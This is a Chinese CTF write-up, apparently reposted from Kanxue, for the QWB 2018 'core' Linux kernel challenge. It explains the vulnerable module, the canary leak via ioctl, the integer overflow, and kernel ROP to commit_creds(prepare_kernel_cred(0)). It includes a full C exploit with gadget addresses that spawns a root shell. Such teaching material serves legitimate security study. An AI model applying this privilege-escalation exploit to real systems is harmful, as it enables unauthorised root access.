0
  • 聊天消息
  • 系統(tǒng)消息
  • 評論與回復(fù)
登錄后你可以
  • 下載海量資料
  • 學(xué)習(xí)在線課程
  • 觀看技術(shù)視頻
  • 寫文章/發(fā)帖/加入社區(qū)
會員中心
創(chuàng)作中心

完善資料讓更多小伙伴認識你,還能領(lǐng)取20積分哦,立即完善>

3天內(nèi)不再提示

十分基礎(chǔ)的一道內(nèi)核pwn入門題

麥辣雞腿堡 ? 來源:看雪社區(qū) ? 作者:mb_khygdqmu ? 2023-02-01 18:01 ? 次閱讀

例題:強網(wǎng)杯2018 - core

1.反編譯代碼分析

文件里面包含了這幾個文件

bzImage,core.cpio,start.sh,vmlinux

先看看start.sh

  • qemu-system-x86_64
    -m 128M
    -kernel ./bzImage
    -initrd ./core.cpio
    -append "root=/dev/ram rw console=ttyS0 oops=panic panic=1 quiet kaslr"
    -s
    -netdev user,id=t0, -device e1000,netdev=t0,id=nic0
    -nographic \\

可以看到咱們這兒題目采用了kaslr ,有地址隨機,所以咱們需要泄露地址,大致思路和用戶態(tài)一致。這里還注意那就是從ctfwiki上面下載下來的題目是-m 64M,這里會出現(xiàn)運行不了虛擬機的情況,所以咱們改為128M即可,這是內(nèi)存大小的定義,太小了跑不動。

之后咱們再看看文件系統(tǒng)解壓后得到的init腳本:

#!/bin/sh
mount -t proc proc /proc
mount -t sysfs sysfs /sys
mount -t devtmpfs none /dev
/sbin/mdev -s
mkdir -p /dev/pts
mv exp.c /
mount -vt devpts -o gid=4,mode=620 none /dev/pts
chmod 666 /dev/ptmx
cat /proc/kallsyms > /tmp/kallsyms
echo 1 > /proc/sys/kernel/kptr_restrict
echo 1 > /proc/sys/kernel/dmesg_restrict
ifconfig eth0 up
udhcpc -i eth0
ifconfig eth0 10.0.2.15 netmask 255.255.255.0
route add default gw 10.0.2.2
insmod /core.ko
#setsid /bin/cttyhack setuidgid 0 /bin/sh

poweroff -d 120 -f &
setsid /bin/cttyhack setuidgid 1000 /bin/sh
echo 'sh end!\\n'
umount /proc
umount /sys

poweroff -d 0  -f

從中我們可以看到文件系統(tǒng)中insmod了一個core.ko,一般來講這就是漏洞函數(shù)了,還有咱們可以添加setsid /bin/cttyhack setuidgid 0 /bin/sh這一句來使得我們進入虛擬機的時候就是root權(quán)限,大伙不必驚慌,這里是因為咱們是再本地需要進行調(diào)試,所以init腳本任我們改,start腳本也是,咱們可以直接把kalsr關(guān)了也行,但關(guān)了并不代表咱們不管,咱們這一舉動主要是為了方便調(diào)試的,最終打遠程還是人家說了算,咱們值有一個exp能提交。

接著分析init,這里還發(fā)現(xiàn)開始時內(nèi)核符號表被復(fù)制了一份到/tmp/kalsyms中,利用這個我們可以獲得內(nèi)核中所有函數(shù)的地址,還有個惡心的地方那就是這里開啟了定時關(guān)機,咱們可以把這給先注釋掉poweroff -d 120 -f &進入漏洞模塊的分析。

這里可以看到有canary和NX,所以咱們通過ROP的話需要進行canary泄露。

接下來咱們分析相關(guān)函數(shù)init_moddule:

可以看到模塊加載的初期會創(chuàng)建一個名為core的進程,在虛擬機中在/proc目錄下。

再看看比較重要的ioctl函數(shù):

可以看出有三個模式選擇,分別點入相關(guān)函數(shù)看

" class="anchor" href="#

這里的read函數(shù)就是向用戶指定的地址從off偏移地址寫入64個字節(jié)。而從ioctl中第二個case可以看到咱們居然可以設(shè)置off,所以我們可以通過設(shè)置偏移來寫入canary的值,而我們從ida中可以看到咱們的canary是位于這里。

可以知道相差對于v5相差0x40,所以咱們設(shè)置的off也是0x40我們還可以來看看file_operations,(不秦楚的大伙可以看看我的上一篇環(huán)境搭建的文章),可以看到他只實現(xiàn)了write,ioctl,release的系統(tǒng)調(diào)用:

我們再來看看其他函數(shù),先看core_write:

這里可以知道他總共可以向name這個地址寫入0x800個字節(jié),心動

我們再來看看ioctl中第三個選項的core_copy_func

發(fā)現(xiàn)他可以從name上面拷貝數(shù)據(jù)到達棧上,然后這個判斷存在著整形溢出,這里如果咱傳個負數(shù)就可以達成效果了。

1. Kernel ROP

既然咱們可以在棧上做手腳,那么我們就可以利用ROP的方式了,首先找?guī)讉€gadget,這里的gadget是需要在vmlinux中尋找,我的推薦是用:

objdump -d ./vmlinux > ropgadget \\
cat ropgadget | grep "pop rdi; ret"

這樣的類型進行尋找[/md]

1.尋找gadget

如圖:對于上面所說的比較關(guān)鍵的兩個函數(shù)commit_creds以及prepare_kernel_cred,我們在vmlinux中去尋找他所加載的的地址

然后我們可以看看ropgadget文件。

圖片

從中咱們可以看到其中即我們所需要的gadget(實際上就是linux內(nèi)核鏡像所使用的匯編代碼),此時我們再通過linux自帶的grep進行搜索,個人認為還是比較好用的,用ropgadget或者是ropper來說都可以,看各位師傅的喜好來.

以此手法獲得兩個主要函數(shù)的地址后,此刻若咱們在exp中獲得這兩個函數(shù)的實際地址,然后將兩者相減即可得到KASLR的偏移地址。

自此咱們繼續(xù)搜索別的gadget,我們此刻需要的gadget共有如下幾個:

swapgs; popfq;  ret;
mov rdi, rax;  call rdx;
pop rdx; ret; 
pop rdi; ret;  
pop rcx; ret;
iretq

師傅們可以用上述方法自行尋找。

2. 自行構(gòu)造返回狀態(tài)

雖然咱們的提權(quán)是在內(nèi)核態(tài)當(dāng)中,但我們最終還是需要返回用戶態(tài)來得到一個root權(quán)限的shell,所以當(dāng)我們進行棧溢出rop之后還需要利用swapgs等保存在內(nèi)核棧上的寄存器值返回到應(yīng)得的位置,但是如何保證返回的時候不出錯呢?

那就只能在調(diào)用內(nèi)核態(tài)的時候?qū)⒓磳⒈4娴恼_的寄存器值先保存在咱們自己申請的值里面,這樣就方便咱們在rop鏈結(jié)尾填入他們實現(xiàn)返回不報錯。既然涉及到了保存值,那我們就需要內(nèi)嵌匯編代碼來實現(xiàn)此功能,代碼如下,這也可以視為一個通用代碼:

size_t user_cs, user_ss,user_rflags,user_sp;

//int fd = 0;        // file pointer of process 'core'

void saveStatus(){
  __asm__("mov user_cs, cs;"
          "mov user_ss, ss;"
          "mov user_sp, rsp;"
          "pushf;"
          "pop user_rflags;"
          );
  puts("\\033[34m\\033[1m Status has been saved . \\033[0m");
}

大伙學(xué)到了內(nèi)核pwn,那匯編功底自然不必說,我就不解釋這段代碼功能了。

3. 攻擊思路

現(xiàn)在開始咱們的攻擊思路思考,在上面介紹各個函數(shù)的時候我也稍微講了點,我們所做的事主要如下:

  1. 利用ioctl中的選項2.修改off為0x40
  2. 利用core_read,也就是ioctl中的選項1,可將局部變量v5的off偏移地址打印,經(jīng)過調(diào)試可發(fā)現(xiàn)這里即為canary
  3. 當(dāng)咱們打印了canary,現(xiàn)在即可進行棧溢出攻擊了,但是溢出哪個棧呢,我們發(fā)現(xiàn)ioctl的第三個選項中調(diào)用的函數(shù) core_copy_func,會將bss段上的name輸入在棧上,輸入的字節(jié)數(shù)取決于咱們傳入的數(shù)字,并且此時他又整型溢出漏洞,好,就決定冤大頭是他了
  4. core.ko 所實現(xiàn)的系統(tǒng)調(diào)用write可以發(fā)現(xiàn)其中可以將我們傳入的值寫到bss段中的name上面,天助我也,所以咱們就可以在上面適當(dāng)?shù)臉?gòu)造rop鏈進行棧溢出了

大伙看到這里是不是覺得有點奇怪,剛才不是說要泄露地址碼,這兄弟是不是講錯了,就這?大家不要慌,我這正要講解,從上面的init腳本中我們可以看到這一句:

cat /proc/kallsyms > /tmp/kallsyms

其中 /proc/kallsyms中包含了內(nèi)核中所有用到的符號表,而處于用戶態(tài)的我們是不能訪問的,所以出題人貼心的將他輸出到了/tmp/kallsyms中,這就使得我們在用戶態(tài)也依然可以訪問了,所以我們還得在exp中寫一個文件遍歷的功能,當(dāng)然這對于學(xué)過系統(tǒng)編程的同學(xué)并不在話下。

這里貼出代碼給大伙先看看

void get_function_address(){
        FILE* sym_table = fopen("/tmp/kallsyms", "r");        // including all address of kernel functions,just like the user model running address.
        if(sym_table == NULL){
                printf("\\033[31m\\033[1m[x] Error: Cannot open file \"/tmp/kallsyms\"\\n\\033[0m");
                exit(1);
        }
        size_t addr = 0;
        char type[0x10];
        char func_name[0x50];
        // when the reading raises error, the function fscanf will return a zero, so that we know the file comes to its end.
        while(fscanf(sym_table, "%llx%s%s", &addr, type, func_name)){
                if(commit_creds && prepare_kernel_cred)                // two addresses of key functions are all found, return directly.
                        return;
                if(!strcmp(func_name, "commit_creds")){                // function "commit_creds" found
                        commit_creds = addr;
                        printf("\\033[32m\\033[1m[+] Note: Address of function \"commit_creds\" found: \\033[0m%#llx\\n", commit_creds);
                }else if(!strcmp(func_name, "prepare_kernel_cred")){
                        prepare_kernel_cred = addr;
                        printf("\\033[32m\\033[1m[+] Note: Address of function \"prepare_kernel_cred\" found: \\033[0m%#llx\\n", prepare_kernel_cred);
                }
        }

}

當(dāng)知道exp思路之后,其他的一切就簡單起來,只需要看懂他然后實現(xiàn)即可。

4. gbb調(diào)試qemu中內(nèi)核基本方法

眾所周知,調(diào)試在pwn中是十分重要的,特別是動調(diào),所以這里介紹下gdb調(diào)試內(nèi)核的方法。

由于咱們的內(nèi)核是跑在qemu中,所以我們gdb需要用到遠程調(diào)試的方法,但是如果直接連端口的話會出現(xiàn)沒符號表不方便調(diào)試的,所以我們需要自行導(dǎo)入內(nèi)核模塊,也就是文件提供的vmlinux,之后由于咱們還需要core.ko的符號表,所以咱們也可以通過自行導(dǎo)入來獲得可以,通過 add-symbol-file core.ko textaddr 加載,而這里的textaddr即為core.ko的.text段地址,我們可以通過修改init中為root權(quán)限進行設(shè)置。

這里.text 段的地址可以通過 /sys/modules/core/section/.text 來查看,

這里強烈建議大伙先關(guān)kaslr(通過在啟動腳本修改,就是將kaslr改為nokaslr)再進行調(diào)試。

我們可以通過-gdb tcp:port或者 -s來開啟調(diào)試端口,start.sh 中已經(jīng)有了 -s,不必再自己設(shè)置。(對了如果-s ,他的功能等同于-gdb tcp:1234)

在我們獲得.text基地址后記得用腳本來開gdb,不然每次都要輸入這么些個東西太麻煩了,腳本如下十分簡單:

#!/bin/bash
gdb -q \\
  -ex "" \\
  -ex "file ./vmlinux" \\
  -ex "add-symbol-file ./extract/core.ko 0xffffffffc0000000" \\
  -ex "b core_copy_func" \\
  -ex "target remote localhost:1234" \\

其中打斷點可以先打在core_read,這里打在core_copy_func是我調(diào)到尾聲修改的。這里還注意一個點,就是當(dāng)采用pwndbg的時侯需要root權(quán)限才可以進行調(diào)試不然會出現(xiàn)以下錯誤:

最開始氣死我了,人家peda都不要root,但是最開始不清楚為什么會錯,我還以為是版本問題,但想到這是我最近剛配的一臺機子又應(yīng)該不是,其實最開始看到permission就該想到的。

我們用root權(quán)限進行開調(diào):

可以看到十分的成功,此刻我continue,還記得咱們下的斷電碼,b core_read,如果咱們調(diào)用它后咱們就會在這里停下來,此刻我們運行咱們的程序試試。

這樣咱們就可以愉快的進行調(diào)試啦,至此gdb調(diào)試內(nèi)核基本方法到此結(jié)束~~~

5. ROP鏈解析

這里簡單講講,直接給圖:

圖片

相信大家理解起來不費力。

6. exp

本次exp如下,大伙看看:

#include 
#include 
#include 
#include 
#include 
#include 
#include 
#include 

size_t commit_creds = NULL, prepare_kernel_cred = NULL;        // address of to key function
#define SWAPGS_POPFQ_RET 0xffffffff81a012da
#define MOV_RDI_RAX_CALL_RDX 0xffffffff8101aa6a
#define POP_RDX_RET 0xffffffff810a0f49
#define POP_RDI_RET 0xffffffff81000b2f 
#define POP_RCX_RET 0xffffffff81021e53
#define IRETQ 0xffffffff81050ac2
size_t user_cs, user_ss,user_rflags,user_sp;

//int fd = 0;        // file pointer of process 'core'

/*void saveStatus();
void get_function_address();
#void core_read(int fd, char* buf);
void change_off(int fd, long long off);
void core_copy_func(int fd, long long nbytes);
void print_binary(char* buf, int length);
void shell();
*/
void saveStatus(){
  __asm__("mov user_cs, cs;"
          "mov user_ss, ss;"
          "mov user_sp, rsp;"
          "pushf;"
          "pop user_rflags;"
          );
  puts("\\033[34m\\033[1m Status has been saved . \\033[0m");
}

void core_read(int fd, char *addr){
  printf("try read\\n");
  ioctl(fd,0x6677889B,addr);
  printf("read done!");
}

void change_off(int fd, long long off){
  printf("try set off \\n");
  ioctl(fd,0x6677889C,off);
}

void core_copy_func(int fd, long long nbytes){
  puts("try cp\\n");
  ioctl(fd,0x6677889A,nbytes);
}

void get_function_address(){
        FILE* sym_table = fopen("/tmp/kallsyms", "r");        // including all address of kernel functions,just like the user model running address.
        if(sym_table == NULL){
                printf("\\033[31m\\033[1m[x] Error: Cannot open file \"/tmp/kallsyms\"\\n\\033[0m");
                exit(1);
        }
        size_t addr = 0;
        char type[0x10];
        char func_name[0x50];
        // when the reading raises error, the function fscanf will return a zero, so that we know the file comes to its end.
        while(fscanf(sym_table, "%llx%s%s", &addr, type, func_name)){
                if(commit_creds && prepare_kernel_cred)                // two addresses of key functions are all found, return directly.
                        return;
                if(!strcmp(func_name, "commit_creds")){                // function "commit_creds" found
                        commit_creds = addr;
                        printf("\\033[32m\\033[1m[+] Note: Address of function \"commit_creds\" found: \\033[0m%#llx\\n", commit_creds);
                }else if(!strcmp(func_name, "prepare_kernel_cred")){
                        prepare_kernel_cred = addr;
                        printf("\\033[32m\\033[1m[+] Note: Address of function \"prepare_kernel_cred\" found: \\033[0m%#llx\\n", prepare_kernel_cred);
                }
        }
}


void shell(){
        if(getuid()){
                printf("\\033[31m\\033[1m[x] Error: Failed to get root, exiting......\\n\\033[0m");
                exit(1);
        }
        printf("\\033[32m\\033[1m[+] Getting the root......\\033[0m\\n");
        system("/bin/sh");
        exit(0);
}

int main(){
  saveStatus();
  int fd = open("/proc/core",2);              //get the process fd
  if(!fd){
                printf("\\033[31m\\033[1m[x] Error: Cannot open process \"core\"\\n\\033[0m");
                exit(1);
        }
  char buffer[0x100] = {0};
        get_function_address();                // get addresses of two key function
  ssize_t vmlinux = commit_creds - commit_creds;            //base address
  printf("vmlinux_base = %x",vmlinux);
  //get canary
  size_t canary;
  change_off(fd,0x40);
  //getchar();

  core_read(fd,buffer);
  canary = ((size_t *)buffer)[0];
  printf("canary ==> %p\\n",canary);
  //build the ROP
  size_t rop_chain[0x1000] ,i= 0;
  printf("construct the chain\\n");
  for(i=0; i< 10 ;i++){
    rop_chain[i] = canary;
  }
  rop_chain[i++] = POP_RDI_RET + vmlinux ;
  rop_chain[i++] = 0;
  rop_chain[i++] = prepare_kernel_cred ;          //prepare_kernel_cred(0)
  rop_chain[i++] = POP_RDX_RET + vmlinux;
  rop_chain[i++] = POP_RCX_RET + vmlinux;
  rop_chain[i++] = MOV_RDI_RAX_CALL_RDX + vmlinux;
  rop_chain[i++] = commit_creds ;
  rop_chain[i++] = SWAPGS_POPFQ_RET + vmlinux;
  rop_chain[i++] = 0;
  rop_chain[i++] = IRETQ + vmlinux;
  rop_chain[i++] = (size_t)shell;
  rop_chain[i++] = user_cs;
  rop_chain[i++] = user_rflags;
  rop_chain[i++] = user_sp;
  rop_chain[i++] = user_ss;
  write(fd,rop_chain,0x800);
  core_copy_func(fd,0xffffffffffff0100);
}

7. 編譯運行

這里有個小知識,那就是在被攻擊的內(nèi)核中一般不會給你庫函數(shù),所以咱們需要用gcc中的-static參數(shù)進行靜態(tài)鏈接,然后就是為了支持內(nèi)嵌匯編代碼,所以我們需要使用-masm=intel,這里intel也可以換amd,看各位匯編語言用的啥來進行修改,我這里用的把保存狀態(tài)代碼是intel支持的。

gcc test.c -o test -static -masm=intel -g

將此編譯得到的二進制文件打包近文件系統(tǒng)然后重新啟動,情況如圖:

成功提權(quán)!

聲明:本文內(nèi)容及配圖由入駐作者撰寫或者入駐合作網(wǎng)站授權(quán)轉(zhuǎn)載。文章觀點僅代表作者本人,不代表電子發(fā)燒友網(wǎng)立場。文章及其配圖僅供工程師學(xué)習(xí)之用,如有內(nèi)容侵權(quán)或者其他違規(guī)問題,請聯(lián)系本站處理。 舉報投訴
  • 內(nèi)核
    +關(guān)注

    關(guān)注

    3

    文章

    1336

    瀏覽量

    40084
  • PWN
    PWN
    +關(guān)注

    關(guān)注

    0

    文章

    11

    瀏覽量

    16650
收藏 人收藏

    評論

    相關(guān)推薦

    ModelSim SE 十分入門

    ModelSim SE 十分入門[table=98%][tr][td][table=98%][tr][td]1.ModuleSim SE 快速入門本文以ModelSim SE 5.6版本為
    發(fā)表于 08-12 15:07

    ModelSim SE 十分入門

    ModelSim SE 十分入門
    發(fā)表于 08-20 20:33

    十分

    誰能幫我看看VHDL編的十分頻圖里19行以下不理解了。上升沿q就等于1???怎么變0
    發(fā)表于 08-31 09:46

    急求一道單片機程序,希望用匯編寫的,C語言也可以

    急求一道單片機程序,希望用匯編寫的,C語言也可以,麻煩各位大神,不甚感激!一道,兩個按鍵,按鍵K1按下有三個動作1, LED常亮再按 LED閃爍.每隔0.5s閃次,再按LED閃爍
    發(fā)表于 01-02 23:22

    十分鐘學(xué)會ISE

    十分鐘學(xué)會ISE
    發(fā)表于 03-26 09:39

    一道模電,找人幫忙做下,看看誰能夠破解!

    要考試了,老師出了一道設(shè)計題在課外完成,占了20,可是模電太難了,真的不會,哪位好心的大俠高手路過的都看下哦,幫忙做下這道,
    發(fā)表于 06-26 13:23

    關(guān)于13年電賽控制

    會不會出兩控制啊,一道飛行器,另一道是其他的。。。
    發(fā)表于 08-28 19:55

    拋開飛行器,另外一道控制類的是什么,發(fā)揮你的想象

    不要再糾結(jié)飛行器了,忘了他吧,看看原件清單,猜猜另外一道控制類的是什么?頭腦風(fēng)暴啦!??!{:4_96:}
    發(fā)表于 09-01 10:06

    十分鐘學(xué)會ISE

    十分鐘學(xué)會ISE
    發(fā)表于 09-05 22:49

    單片機8031三:三、四、五。一道10元

    單片機8031三:三、四、五。一道10元,直接發(fā)我qq840921270 ,會給第個采用的人直接發(fā)支付寶,決不食言,食言剁屌!求助大
    發(fā)表于 04-16 17:02

    一道陣列天線方向圖的matlab仿真

    大家好,向大家求助一道matlab仿真的題目,由于我研究生是轉(zhuǎn)的專業(yè),天線方面的知識非常薄弱,但這道題目是課程考核,做出來才有這門課的學(xué)分,所以無奈來此向大家求助……如有違反論壇規(guī)定,請將此貼刪除
    發(fā)表于 05-04 23:24

    為什么我的電腦最近AD軟件十分卡頓?

    最近突然電腦的AD軟件變得十分卡頓,版本是16.0.5和9推測可能是以下問題:1.ad9和ad16不兼容(之前直相安無事,而且最近是兩個軟件都變得十分卡頓)2.電腦配置(i7 6700 + 8g +核顯 ,之前也沒有絲毫問題)
    發(fā)表于 09-02 04:07

    一道比較有難度的完美矩形

    今天講一道非常有意思,而且比較有難度的題目。 我們知道個矩形有四個頂點,但是只要兩個頂點的坐標就可以確定個矩形了(比如左下角和右上角兩個頂點坐標)。 來看看力扣第 391 「完美
    的頭像 發(fā)表于 01-04 14:17 ?2134次閱讀

    vm-pwn入門

    親愛的,關(guān)注我吧9/21文章共計2761個詞預(yù)計閱讀7鐘來和我起閱讀吧引言之前直沒去了解過vm-pwn,做些題目對vm-
    發(fā)表于 12-22 18:51 ?2次下載
    vm-<b class='flag-5'>pwn</b><b class='flag-5'>入門</b>

    Linux內(nèi)核pwn基礎(chǔ)知識

    Linux內(nèi)核pwn之基礎(chǔ)rop提權(quán) 1. linux kernel pwn kernel 也是個程序,用來管理軟件發(fā)出的數(shù)據(jù) I/O 要求,將這些要求轉(zhuǎn)義為指令,交給 CPU 和計
    的頭像 發(fā)表于 02-01 17:53 ?1593次閱讀
    Linux<b class='flag-5'>內(nèi)核</b><b class='flag-5'>pwn</b>基礎(chǔ)知識